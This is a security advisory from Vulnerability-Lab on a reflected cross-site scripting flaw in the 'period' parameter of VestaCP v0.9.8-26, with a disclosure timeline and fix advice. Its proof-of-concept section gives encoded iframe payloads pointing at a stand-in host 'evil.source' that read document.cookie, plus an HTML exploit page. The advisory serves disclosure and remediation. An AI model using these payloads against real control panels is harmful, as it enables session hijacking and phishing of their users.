Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

VestaCP version 0.9.8-26 suffers from a cross site scripting vulnerability.

Document Title:
===============
VestaCP v0.9.8-26 - (period) Cross Site Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2239


Release Date:
=============
2020-11-24


Vulnerability Laboratory ID (VL-ID):
====================================
2239


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Web interface is open source php and javascript interface based on Vesta open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for software and other kinds of works. Its free to change,
modify and redistribute source code.

(Copy of the Homepage: https://vestacp.com/features/ & https://vestacp.com/install/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the VestaCP v0.9.8-26 hosting web-application.


Affected Product(s):
====================
Vesta
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A non-persistent cross site vulnerability has been discovered in the official VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The cross site security vulnerability is located in the `period` parameter of the `./list/rrd/` and `./list/rrd/image.php?/rrd/la/` modules.
The injection point is located in the period parameter and the execution occurs in the `Graphs` module. The request method to inject the
malicious script code is GET and the attack vector of the vulnerability is non-persistent on client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./list/rrd/
[+] ./rrd/la/

Vulnerable File(s):
[+] image.php

Vulnerable Parameter(s):
[+] period


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


PoC: Example
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]


PoC: Payloads
%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E
%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E


PoC: Exploitation
<html>
<head><body>
<title>VEST Control Panel - Client Side XSS POC</title>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E%20>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E%20>
</body></head>
</html>


PoC: Vulnerable Source (/list/rrd/ & /list/rrd/image.php)
<div class="l-unit un-selected selected-current">
<div class="l-unit-toolbar clearfix">
<div class="l-unit-toolbar__col l-unit-toolbar__col--right noselect">
<div class="actions-panel clearfix">
<div class="actions-panel__col actions-panel__edit actions-panel__download">
<a href="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe> -la.png" target="_blank">download <i></i></a>
</div></div>
... ...
<div class="l-unit__stats">
<img src="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe>-la.png">
</div>


Reference(s):
https://vestacp.localhost:8083/
https://vestacp.localhost:8083/list/
https://vestacp.localhost:8083/list/rrd/


Solution - Fix & Patch:
=======================
The cross site web vulnerability can be resolved by an encode or escape of the vulnerable period parameter context in the get method request.
Sanitize as well the output location of the content to resolve the point were the script code code executes.


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the vesta cp web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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